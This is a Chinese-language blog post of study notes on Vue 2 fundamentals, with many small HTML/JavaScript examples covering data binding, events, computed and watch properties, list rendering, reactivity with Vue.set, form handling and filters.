匿名用户

这个人很神秘,什么信息也没有

关闭
蜀枕清何
2025-11-29
点 赞
0
热 度
11
评 论
0

Vue2基础

文章摘要

智阅GPT

vue2基础

定义:vue 是 构建用户界面 的 渐进式 框架

初识vue

引入 vue.js 创建 Vue 实例对象

  <!-- 设置容器 -->
  <div id="txt">
    <h1>初识vue {{name}}</h1>
  </div>

  <!-- 引入 vue -->
  <script src="../vue.js"></script>
  <script>
    // 创建 vue 实例对象
    new Vue({
      el: '#txt',  //这个是选定的容器
      data: {      //这个是数据
        name: '上岸'
      }
    })
  </script>

模板语法

插值语法 {{}} 命令语法 v-

 <div id="root">
    <!-- 标签里面用的 {{}} 是插值语法 
         {{name}} name 是一个表达式,可以是方法,可以是变量
    -->
    <!--  -->
    <h1>你好{{name}}</h1>
    <!-- 指令语法 v- 开头
         v-bind:  解析标签属性里面的字符串为表达式
         v-bind:  可以简写为 :
    -->
    <a :href="net.url">链接到{{net.netName}}</a>
    <a v-bind:href="net.url">链接到{{net.netName}}</a>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: '卡卡',
        net: {
          url: 'https://www.baidu.com',
          netName: '百度'
        }
      }
    })
  </script>

数据绑定:

单向绑定和双向绑定

单向绑定 v-bind 双向绑定:v-model

v-bind: 属性名 = “表达式”

v-model

 <div id="root" class="">
    <!-- 数据绑定 -->
    <!-- 单向绑定 v-bind:   只能data流向页面  可以简写为 : -->
    <!-- 双向绑定 v-model  可以data流向页面,也可以页面流向data  v-model:value可以简写为v-model-->
    <!-- v-model 只能应用到表单类元素上(输入类的元素,含value的元素) -->
    单向绑定:<input type="text" :value="name"><br>
    双向绑定:<input type="text" v-model="name">
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: ''
      }
    })
  </script>

v-model的三个修饰符:

lazy:失去焦点再收集数据

number:输入字符串转为有效的数字

trim:输入首尾空格过滤

v-model的原理

原理:v-model 本质上是一个语法糖。例如应用在输入框上,就是 value 属性 和 input 事件 的合写。

作用: 提供数据的双向绑定
① 数据变,视图跟着变 :value
② 视图变,数据跟着变 @input
注意:$event 用于在模板中,获取事件的形参

<template>
  <div id="app">
    <!-- 效果等同,实现双向绑定 -->
    v-model:<input type="text" v-model="msg1" />
    v-bind+$event:<input type="text":value="msg3" @input="msg3 = $event.target.value" />
  </div>
</template>

父组件与子组件实现双向绑定

v-model实现(表单类)

父组件的数据应用到子组件的表单,传给子组件的名是 value, 子组件传给父组件触发的事件名为 input, 就能用v-model="msg" 简写 :value="msg" @input="hander"

.sync实现

xxx.sync="参数" 相当于 :xxx="参数" @updata:xxx

el和data的两种写法

	<!-- 
		data与el的2种写法
			1.el有2种写法
						(1).new Vue时候配置el属性。
						(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
			2.data有2种写法
						(1).对象式
						(2).函数式
			如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
			3.一个重要的原则:
			由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>你好,{{name}}</h1>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//el的两种写法
		/* const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法 */

		//data的两种写法
		new Vue({
			el:'#root',
			//data的第一种写法:对象式
			/* data:{
				name:'尚硅谷'
			} */

			//data的第二种写法:函数式
			data(){
				console.log('@@@',this) //此处的this是Vue实例对象
				return{
					name:'尚硅谷'
				}
			}
		})
	</script>

MVVM模型

  1. M:模型 (Model) :对应 data 中的数据

  2. V:视图 (View) :模板

  3. VM:视图模型 (ViewModel) : Vue 实例对象

数据代理

前置知识-Object.defineProperty()

<script>
    // Object.defineProperty(obj,属性名,属性修饰符对象) 给选定对象定义或修改属性
    let age = 20
    let person = { name: 'kaka' }
    Object.defineProperty(person, 'age', {
      // 低级配置
      // value: 20, //设定属性值
      // writable: true,//控制该属性是否可以被修改,默认为false
      // enumerable: true,//控制该属性是否可以被枚举,默认为false
      // configurable: true//控制该属性是否可以被删除,,默认为false

      // 高级配置  => 写了高级就不能写低级 否则会报错
      // 当访问该属性时,get函数(getter)会被调用,返回值为value
      get: function () {
        console.log('age被访问')
        return age
      },
      // 当修改该属性时,set函数(setter)会被调用,会收到修改的具体值
      set: function (value) {
        console.log('age被修改', value);
        age = value //这样也能修改该对象age的值 => 前提是age是可变,并且getter返回值也是age变量
      }
    })
    console.log(person)
  </script>

何为数据代理

定义:通过一个对象来代理对另一个对象中属性的操作(读 / 写)。

let obj1 = { x: 100 }; // 目标对象  
let obj2 = {}; // 代理对象  
  
// 使用Object.defineProperty()方法,在obj2上定义一个新的属性'x',其getter和setter方法操作obj1的'x'属性  
Object.defineProperty(obj2, 'x', {  
  get() {  
    console.log('读取obj1的x属性');  
    return obj1.x;  
  },  
  set(value) {  
    console.log('设置obj1的x属性为', value);  
    obj1.x = value;  
  }  
});  
  
// 通过操作obj2的'x'属性,间接地读取和修改obj1的'x'属性  
console.log(obj2.x); // 输出:读取obj1的x属性 100  
obj2.x = 200; // 输出:设置obj1的x属性为 200  
console.log(obj1.x); // 输出:200

vue中数据代理

1.Vue 中的数据代理:

通过 vm 对象来代理 data 对象中属性的操作(读 / 写)

2.Vue 中数据代理的好处:

更加方便的操作 data 中的数据

3. 基本原理:

通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上。

为每一个添加到 vm 上的属性,都指定一个 getter/setter。

在 getter/setter 内部去操作(读 / 写)data 中对应的属性。

事件处理

事件的基本使用v-on:

1. 使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名;

2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上;

3.methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了;

4.methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;

5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;

<div id="root" class="">
    <!-- v-on:click="alertFn" 是当点击这个按钮时,会触发alertFn这个函数 -->
    <!-- alertFn($event,66)  可以在函数里面传入参数,$event相当于占位,到时候就能用e.target的同时还能获取参数-->
    <button v-on:click="alertFn($event,66)">按钮</button>
    <!-- v-on:click 可简写为 @click  后期常用 -->
    <button @click="alertFn($event,66)">按钮</button>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      methods: {
        alertFn(e, num) {
          alert('点击了按钮')
          console.log(e, num)
          console.log(e.target)//获取到触发该函数的Dom
        }
      }
    })
  </script>

事件修饰符

@事件名.prevent: 阻止默认行为(常用);

@事件名.stop: 阻止事件冒泡(常用);

@事件名.once: 事件只触发一次(常用);

@事件名.capture: 使用事件的捕获模式;

@事件名.self: 只有 event.target 是当前操作的元素时才触发事件;

@事件名.passive: 事件的默认行为立即执行,无需等待事件回调执行完毕;

<div id="root" class="">
     <!-- .prevent  阻止默认行为(常用) -->
    <a href="http://baidu.com" @click.prevent="conlog">按钮</a>
  </div>
  <script src="../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      methods: {
        conlog() {
          console.log('点击了')
        }
      }
    })

修饰符可以连着写 例:

<!-- .stop.prevent  先阻止事件冒泡再阻止默认行为 -->
    <div class="fa" @click="clickFa">父亲
      <a href="http://www.baidu.com" class="son" @click.stop.prevent="clickSon">儿子--百度链接</a>
    </div>

键盘事件

1.Vue 中常用的按键别名:

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊,必须配合 keydown 去使用)

上 => up

下 => down

左 => left

右 => right

2.Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case(短横线命名)

3. 系统修饰键(用法特殊):ctrl、alt、shift、meta(win 键)

(1). 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。

(2). 配合 keydown 使用:正常触发事件。

(3). 组合键:例 ctrl+l 才触发 @keydown.Ctrl.l="触发函数"

4. 也可以使用 keyCode 去指定具体的按键(不推荐)

5.Vue.config.keyCodes. 自定义键名 = 键码,可以去定制按键别名

  <!-- 1.Vue中常用的按键别名:
				回车 => enter
				删除 => delete (捕获“删除”和“退格”键)
				退出 => esc
				空格 => space
				换行 => tab (特殊,必须配合keydown去使用)
				上 => up
				下 => down
				左 => left
				右 => right

		2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

		3.系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)
		(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
                                        例:按下 ctrl + s 后松开 
		(2).配合keydown使用:正常触发事件。

		4.也可以使用keyCode去指定具体的按键(不推荐)

		5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
  -->
  <div id="id" class="">
    <!-- enter  按下 Enter 键才触发 -->
    <!-- <input type="text" @keyup.enter="keyUp"> -->

    <!-- Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名 -->
    <input type="text" @keyup.huiche="keyUp">
  </div>
  <script src="../vue.js"></script>
  <script>
    // 自定义键名 = 键码
    Vue.config.keyCodes.huiche = 13
    new Vue({
      el: '#id',

      methods: {
        keyUp(e) {
          console.log('按了Enter了')
          console.log(e.target)//<= 是触发当前事件的元素
        }
      }
    })
  </script>

计算属性computed

计算属性

自己总结

定义:通过计算得来的属性(根据所依赖的数据 =>(data 中的数据) 进行响应式计算。)

原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。

优势:他本质上是一个函数,但是在 html 标签的中,若有多个相同的计算属性,他会只计算一次 (第一次发现该计算属性时),然后把值缓存起来,再次遇到该计算属性时,相当于直接赋值,就不用再次调用函数了。

响应式:当页面第一次加载或是所依赖的数据改变时就会调用 get(简写的就是 get)。

set 的使用:当想改变计算属性,响应式地改变 data 中的数据时使用。

老师总结

计算属性:

1. 定义:要用的属性不存在,要通过已有属性计算得来。

2. 原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。

3.get 函数什么时候执行?

(1). 初次读取时会执行一次。

(2). 当依赖的数据发生改变时会被再次调用。

4. 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。

5. 备注:

1. 计算属性最终会出现在 vm 上,直接读取使用即可。

2. 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。

 <!-- 案例要求:修改 firstName/lastName   立即响应全名 -->
  <div id="id" class="">
    姓:<input type="text" v-model="firstName"><br><br>
    名:<input type="text" v-model="lastName"><br><br>
    全名为 :<span>{{fullName}}</span>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        firstName: '王',
        lastName: '老板'
      },
      // 计算属性
      computed: {
        fullName: {
          //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
          //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
          get() {
            return this.firstName + '-' + this.lastName
          },
          set(value) {
            console.log(this)//=>this 指向 vm
            // 将更改的是名根据 - 分割成数组
            const arr = value.split('-')
            this.firstName = arr[0]
            this.lastName = arr[1]
          }
        }
      }
    })
  </script>

计算属性简写

 computed: {
        // 计算属性的简写 (当只是页面读取时才用,不能直接修改计算属性)
        fullName() {
          return this.firstName + '-' + this.lastName
        }
      }

监视属性watch

监视属性watch

1、当被监视的属性的值发生变化时,回调函数会自动调用
2、监视的属性必须存在,才能监视
3、监视的两种写法
(1)、new Vue() 里面配置 watch
(2)、通过 vue 实例对象 vm 调用 $watch

  <div id="id" class="">
    <h1>今天天气很{{weather}}</h1>
    <button @click="changeWeather">切换天气</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        isHot: true
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot
        }
      },
      computed: {
        weather() {
          return this.isHot ? '炎热' : '凉爽'
        }
      },
      //监视属性 写法一:new Vue时
      /*  watch: {
         isHot: {
           immediate: true,// 默认值为false,为true时,打开时会立即执行下面的函数
           // isHot 的值改变时 就会调用下面的函数,传入的参数第一个是改变的值,第二个是原来的值
           handler(newValue, oldValue) {
             console.log('isHot改变了', newValue, oldValue)
           }
         }
       } */
    })
    // 写法二:后面想监视属性时调用$watch
    vm.$watch('isHot', {
      immediate: true,// 默认值为false,为true时,打开时会立即执行handler函数
      // isHot 的值改变时 就会调用handler函数,传入的参数第一个是改变的值,第二个是原来的值
      handler(newValue, oldValue) {
        console.log('isHot改变了', newValue, oldValue)
      }
    })
  </script>

深度监视

深度监视:

1、Vue 中 watch 默认只能监视第一层,相当于监视的是当前数据的地址。

2、在 watch 中 配置 deep:true,即可开启深度监视。即便是监视的对象里面的属性改变也能监视到

备注:

1、Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!

2、使用 watch 时根据数据的具体结构,决定是否采用深度监视。

 <div id="id">
    <h1>点击按钮数字增加=>{{obj.num}}</h1>
    <button @click="obj.num++">按钮</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        obj: {
          num: 1,
        }
      },
      watch: {
        obj: {
          deep: true,//默认为false,开启深度监视
          handler() {
            console.log('obj改变了')
          }
        }
      }
    })
  </script>

监视属性简写

当监视的属性结构只有一层时才可用

// 写法一:new Vue() 里面配置
      watch: {
        num(newValue, oldValue) {
          console.log('num改变了', newValue, oldValue)
        }
      }
// 写法二:vm.$watch配置
    vm.$watch('num', function (newValue, oldValue) {
      console.log('num改变了', newValue, oldValue)
    })

计算属性和监视属性的区别

自己总结

1、computed 能完成的,watch 都能完成。

2、computed 不能处理异步任务,watch 可以

备注 => this 指向:

1、vue 自身管理的函数用普通函数书写。

2、不是 vue 自身管理的函数 (定时器、ajax、Promise) 用箭头函数书写。

老师总结

computed 和 watch 之间的区别:

1.computed 能完成的功能,watch 都可以完成。

2.watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。

两个重要的小原则:

1. 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。

2. 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,

这样 this 的指向才是 vm 或 组件实例对象。

绑定样式

用数据绑定: 类名 : v-bind:class="表达式" 简写 :class="表达式"

样式 :style="表达式" => 不常用

表达式里面的数据要含有 类名或样式

<style>
    .basic {
      width: 400px;
      height: 100px;
      border: 1px solid black;
    }

    .happy {
      border: 4px solid red;
      ;
      background-color: rgba(255, 255, 0, 0.644);
      background: linear-gradient(30deg, yellow, pink, orange, yellow);
    }

    .sad {
      border: 4px dashed rgb(2, 197, 2);
      background-color: gray;
    }

    .normal {
      background-color: skyblue;
    }

    .atguigu1 {
      background-color: yellowgreen;
    }

    .atguigu2 {
      font-size: 30px;
      text-shadow: 2px 2px 10px red;
    }

    .atguigu3 {
      border-radius: 20px;
    }
  </style>
<body>
  <div id="root">
    <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>

    <!-- 绑定class样式--数组写法,适用于绑定的样式个数不确定、类名不确定 -->
    <div class="basic" :class="classArr">{{name}}</div> <br><br>

    <!-- 绑定class样式--对象写法,适用于绑定的样式类名确定、是否要使用不确定 -->
    <div class="basic" :class="classObj">{{name}}</div> <br><br>

     <!-- 前一个是类名:后一个是布尔值,其结果是布尔值,可以是一个判断条件-->
<!-- <div class="basic" :class="{ 'atguigu1': true, 'atguigu2': false}">{{name}}</div>-->

    <hr>
    <!-- style--对象写法  不常用 -->
    <div class="basic" :style="styleObj">{{name}}</div> <br><br>
    <!-- style--数组写法(里面的每一项都是一个对象)  不常用 -->
    <div class="basic" :style="styleArr">{{name}}</div> <br><br>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#root',
      data: {
        name: 'vue学习',
        mood: 'normal',
        classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
        classObj: {
          atguigu1: true,
          atguigu2: false
        },
        styleObj: {
          // 样式属性的名字  写法和js一样
          backgroundColor: '#f4a7a7',
          fontSize: '40px'
        },
        styleArr: [
          {
            // 样式属性的名字  写法和js一样
            backgroundColor: '#f45675',
          },
          {
            fontSize: '30px',
            fontWeight: 700
          }
        ]
      },
      methods: {
        changeMood() {
          const arr = ['happy', 'sad', 'normal']
          const index = Math.floor(Math.random() * 3)
          this.mood = arr[index]
        }
      }
    })
  </script>
</body>

条件渲染 v-show | v-if

v-show

v-show => 相当于直接设置样式 display,元素节点还在

写法:v-show="表达式"

v-if

v-if => 直接将节点删除或添加

1、v-if="表达式"

2、v-else-if="表达式"

3、v-else

注意:v-else-if 和 v-else 必须和 v-if 处于连续结构,不能被打断

打断后的 v-else-if 和 v-else 就不会执行了

<div id="id" class="">
    <h1>点击按钮 n+1 => {{n}}</h1>
    <button @click="n++">按钮n+1</button>
    <div v-show="n===1">n=1显示</div>
    <div v-if="n===1">div => n=1显示</div>
    <p v-else-if="n===2">p => n=2显示</p>
    <span v-else-if="n===3">span => n=3显示</span>
    <div v-else>n=其他 显示</div>

    <!-- template 结构内的代码是一个整体,方便整体调渲染,但是在页面不存在template节点 -->
    <template v-if="n===0">
      <div>我是个伪整体</div>
      <div>但是我在页面上不存在template结构</div>
    </template>
    <hr>
    <div v-if="n===1">n=1显示</div>
    <div v-else-if="n===2">n=2显示</div>
    <!-- 此处截断  下面的判断条件不执行 控制台报错 -->
    <div>@</div>
    <div v-else-if="n===3">n=3显示</div>
    <div v-else>n=其他 显示</div>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 0
      }
    })
  </script>

列表渲染 v-for

基本列表

渲染列表:v-for

1.v-for="(item,index) in 需要遍历的对象" key="index"=> 当作唯一标识

2. 可以遍历:数组(使用频率高)、对象(使用频率高)、字符串(使用较少)、指定次数(使用较少)

<div id="id" class="">
    <ul>
      <h1>遍历数组</h1>
      <li v-for="(item,index) in persons" :key="item.id">{{item.name}}--{{item.age}}</li>
    </ul>
    <ul>
      <h1>遍历对象</h1>
      <li v-for="val,key in car" :key="key">key:{{key}}--val:{{val}} </li>
    </ul>
    <ul>
      <h1>遍历字符串</h1>
      <li v-for="val,i in str" :key="i">i:{{i}}--val:{{val}} </li>
    </ul>
    <ul>
      <h1>指定次数</h1>
      <li v-for="(number,index) in 5" :key="index">{{number}}-{{index}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        persons: [
          { id: '001', name: '张三', age: 18 },
          { id: '002', name: '李四', age: 19 },
          { id: '003', name: '王五', age: 20 }
        ],
        car: {
          name: '奥迪A8',
          price: '70万',
          color: '黑色'
        },
        str: 'hello'
      }
    })
  </script>

key的原理

面试题:react、vue 中的 key 有什么作用?(key 的内部原理)=> 自我总结:提高节点复用率从而提升性能

1. 虚拟 DOM 中 key 的作用:

key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,

随后 Vue 进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下:

2. 对比规则:

(1). 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:

①. 若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM!

②. 若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM。

(2). 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key

创建新的真实 DOM,随后渲染到到页面。

3. 用 index 作为 key 可能会引发的问题:

1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低。

2. 如果结构中还包含输入类的 DOM:

会产生错误 DOM 更新 ==> 界面有问题。

4. 开发中如何选择 key?:

1. 最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值。

2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,

使用 index 作为 key 是没有问题的。

列表过滤

可用 computed 或是 watch 来实现 ,用到 filter 的数组筛选方法

 <div id="id" class="">
    查询 :<input type="text" v-model="person">
    <ul>
      <li v-for="item in filterPersons" :key="item.id">{{item.name}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        person: '',
        persons: [
          { id: '001', name: '马冬梅', sex: '女' },
          { id: '002', name: '周冬雨', sex: '女' },
          { id: '003', name: '周杰伦', sex: '男' },
          { id: '004', name: '扁嘴伦', sex: '男' }
        ]
      },
      computed: {
        filterPersons() {
          return this.persons.filter(item => {
              //判断原对象数组中的名字是否包含查询的字
            return item.name.includes(this.person)
          })
        }
      }
    })
  </script>

列表排序

使用到了 .sort() 方法

  <div id="id" class="">
    查询 :<input type="text" v-model="person">
    <button @click="sortType=1">年龄升序</button>
    <button @click="sortType=2">年龄降序</button>
    <button @click="sortType=0">原序</button>
    <ul>
      <li v-for="item in filterPersons" :key="item.id">
        {{item.name}}--{{item.age}}</li>
    </ul>
  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        person: '',
        sortType: 0,// 排序方式 0原序 1年龄升序 2年龄降序
        persons: [
          { id: '001', name: '马冬梅', sex: '女', age: 23 },
          { id: '002', name: '周冬雨', sex: '女', age: 56 },
          { id: '003', name: '周杰伦', sex: '男', age: 34 },
          { id: '004', name: '扁嘴伦', sex: '男', age: 31 }
        ]
      },
      computed: {
        filterPersons() {
          const arr = this.persons.filter(item => {
            return item.name.includes(this.person)
          })
          // 判断排序类型是否为原序,不是择做其他操作
          if (this.sortType) {
            arr.sort((a, b) => {
              // 年龄是升序吗  是=>就做升序操作      不是=>就做降序操作
              return this.sortType === 1 ? a.age - b.age : b.age - a.age
            })
          }
          return arr
        }
      }
    })
  </script>

vue.set()或vm.$set()的使用

vue.set()或 vm.$set()的使用:给 vue 实例对象添加响应式属性,但只能在 data 对象里面已经定义过的属性对象上添加。(不能在 vue 本身或是根数据对象 (data) 添加)

   <div id="id">
    <h1>属性添加</h1>
    <button @click="addSk">添加奥义</button>
    <button @click="editAddress">修改第一项城市</button>
    <!-- <button @click="addFri">添加战友</button> -->
    <hr>
    <h1>属性展示</h1>
    <p>姓名:{{name}}</p>
    <p>年龄:{{age}}</p>
    <p v-if="skill.big">大招技能:{{skill.big}}</p>
    <p v-if="skill.common">普通攻击:{{skill.common}}</p>

    <hr>
    <h3>添加的属性</h3>
    <p v-if="skill.aoyi">奥义技能:{{skill.aoyi}}</p>
    <div v-if="address">城市<br>
      <ul>
        <li v-for="(a,i) in address" :key="i">{{a}}</li>
      </ul>
    </div>
    <!-- <p v-if="friend">奥义技能:{{friend}}</p> -->

  </div>
  <script src="../../vue.js"></script>
  <script>
    const vm = new Vue({
      el: '#id',
      data: {
        name: '卡卡西',
        age: 35,
        skill: {
          common: '平A',
          big: '雷切'
        },
        address: ['北京', '上海', '成都'],
      },
      methods: {
        // 给data里面的对象添加
        addSk() {
          // Vue.set(this.skill, 'aoyi', '天威')
          vm.$set(this.skill, 'aoyi', '天照')
        },

        // 给data里面的数组修改
        editAddress() {
            //修改第一项
          Vue.set(this.address, 0, '深圳')
        }
        /*  editAddress() {
              this.address[0]= '深圳'//单独这样修改在vue2中是不能被监测到的,无法触发视图更新
           } */
        /*  addFri() {
           // 不能在vue本身或是根数据对象(data)添加
           // Vue.set(this, 'friend', '鸣人')  //此处报错
           // vm.$set(this, 'friend', '鸣人')  //此处报错
         } */
      }
    })

  </script>

vue中的数据监测

自己总结

vue 中的数据监测;

1、只有在 new Vue 时,里面配置的属性才能做响应式处理,后追加的不行

2、后追加的,需要用 Vue.set(数组 / 对象, 索引 / 键名, 值) 或是 vm.$set() 才能做响应处理

3、Vue.set(数组 / 对象, 索引 / 键名, 值) 或是 vm.$set() =>

不能直接给 vm 本身和 vm 的根数据对象 data 添加或修改

4、让数组做响应式得用 push()、pop()、shift()、unshift()、splice()、sort()、reverse()

或是 Vue.set()或 vm.$set()

老师总结

Vue 监视数据的原理:

1. vue 会监视 data 中所有层次的数据。

2. 如何监测对象中的数据?

通过 setter 实现监视,且要在 new Vue 时就传入要监测的数据。

(1). 对象中后追加的属性,Vue 默认不做响应式处理

(2). 如需给后添加的属性做响应式,请使用如下 API:

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

3. 如何监测数组中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事:

(1). 调用原生对应的方法对数组进行更新。

(2). 重新解析模板,进而更新页面。

4. 在 Vue 修改数组中的某个元素一定要用如下方法:

1. 使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set()或 vm.$set()

特别注意:Vue.set()和 vm.$set() 不能给 vm 或 vm 的根数据对象 添加属性!!!

获取表单数据

自己总结

vue 收集表单数据:=> 利用双向绑定 v-model

1. <input type="text">

<input type="password">

<textarea type="text">

v-model 获取到的是用户输入的 value 值, 不需要额外配置 value

2. <input type="checkbox">

若没有配置 value 属性,勾选 => v-model 获取到的是 checked, 是布尔值

若有配置 value 属性:

v-model 的值是字符串,勾选获取到是 checked => 布尔值

v-model 的值是数组,勾选获取到的是 value 所组成的数组

3. <input type="radio">,v-model 获取到的是 value, 需要配置 value

4.<select v-model="address"> <option>北京</option> </select>

v-model 获取到的是 option value, 不需要额外配置 value

 <div id="id">
    <form>
      账号:<input type="text" v-model="uname"><br><br>
      密码:<input type="password" v-model="pwd"><br><br>
      兴趣:
      <input type="checkbox" v-model="hobby" value="跑步">跑步
      <input type="checkbox" v-model="hobby" value="听歌">听歌
      <input type="checkbox" v-model="hobby" value="打游戏">打游戏<br><br>
      性别:
      <input type="radio" name="sex" v-model="sex" value="man">男
      <input type="radio" name="sex" v-model="sex" value="women">女<br><br>
      地区:
      <select v-model="address">
        <option>--地区--</option>
        <option>四川</option>
        <option>上海</option>
        <option>北京</option>
      </select><br><br>
      备注:<textarea v-model="text"></textarea><br><br>
      <input type="checkbox" v-model="agree">同意协议<a href="http://www.baidu.com">《百度协议》</a>
    </form>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        uname: '',
        pwd: '',
        hobby: [],
        sex: '',
        address: '四川',
        text: '',
        agree: ''
      }
    })
  </script>

老师总结

收集表单数据:

若:,则 v-model 收集的是 value 值,用户输入的就是 value 值。

若:,则 v-model 收集的是 value 值,且要给标签配置 value 值。

若:

1. 没有配置 input 的 value 属性,那么收集的就是 checked(勾选 or 未勾选,是布尔值)

2. 配置 input 的 value 属性:

(1)v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)

(2)v-model 的初始值是数组,那么收集的的就是 value 组成的数组

v-model的三个修饰符:

lazy:失去焦点再收集数据

number:输入字符串转为有效的数字

trim:输入首尾空格过滤

过滤器

自己总结

过滤器:对特定数据做简单处理后显示,过于复杂的处理用计算属性或是方法来做更好,可有可无

配置:

1、全局过滤器(new Vue 的前面使用):Vue.filter('过滤器名',function(val){})

val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据

2、局部过滤器(new Vue 的里面配置):filters:{过滤器名 (val){}}

val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据

使用:

{{需要做操作的数据 | 过滤器名}} 或是 v-bind: 属性 ="需要做操作的数据 | 过滤器名"

备注:

过滤器可以多个串联 例:{{数据 data | 过滤器 1 | 过滤器 2}}

先是 data 到过滤器 1 中 处理返回后的数据 再到 过滤器 2 中做处理

 <div id="id" class="">
    <h2>#id模板</h2>
    <h1>时间格式化</h1>
    <p>当前时间戳:{{nowTime}}</p>
    <p>计算属性格式化:{{c_formatTime}}</p>
    <p>方法格式化:{{Fn_formatTime()}}</p>
    <!-- 过滤器格式化(无参) -->
    <p>过滤器格式化:{{nowTime | formatTime1}}</p>
    <!-- 过滤器格式化(传参) -->
    <p>过滤器格式化:{{nowTime | formatTime2('YYYY_MM_DD')}}</p>
    <hr>
    <h1>字符截取</h1>
    <p>{{str}} 截取后 {{str | mySlice}}</p>
  </div>
  <hr>
  <div id="id2" class="">
    <h2>#id2模板</h2>
    <p>{{str}} 截取后 {{str | mySlice}}</p>
  </div>
  <script src="../../vue.js"></script>
  <script src="../../dayjs.min.js"></script>
  <script>
    // 全局过滤器
    Vue.filter('mySlice', function (value) {
      // 截取0-4的字符
      return value.slice(0, 4)
    })
    new Vue({
      el: '#id',
      data: {
        nowTime: +Date.now(),
        str: 'qwer1234'
      },
      computed: {
        c_formatTime() {
          return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      methods: {
        Fn_formatTime() {
          return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      // 局部过滤器
      filters: {
        formatTime1(val) {
          // 这里的 val 值是 管道符| 前面的 nowTime
          return dayjs(val).format('YYYY年MM月DD日 HH:mm:ss')
        },
        // str = 'YYYY年MM月DD日'  这儿是 若str没传,就用这种方式格式化
        formatTime2(val, str = 'YYYY年MM月DD日') {
          // 这里的 val 值是 管道符| 前面的 nowTime
          return dayjs(val).format(str)
        }
      }
    })

    new Vue({
      el: '#id2',
      data: {
        str: '1234qwer'
      }
    })
  </script>

老师总结

过滤器:

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

1. 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

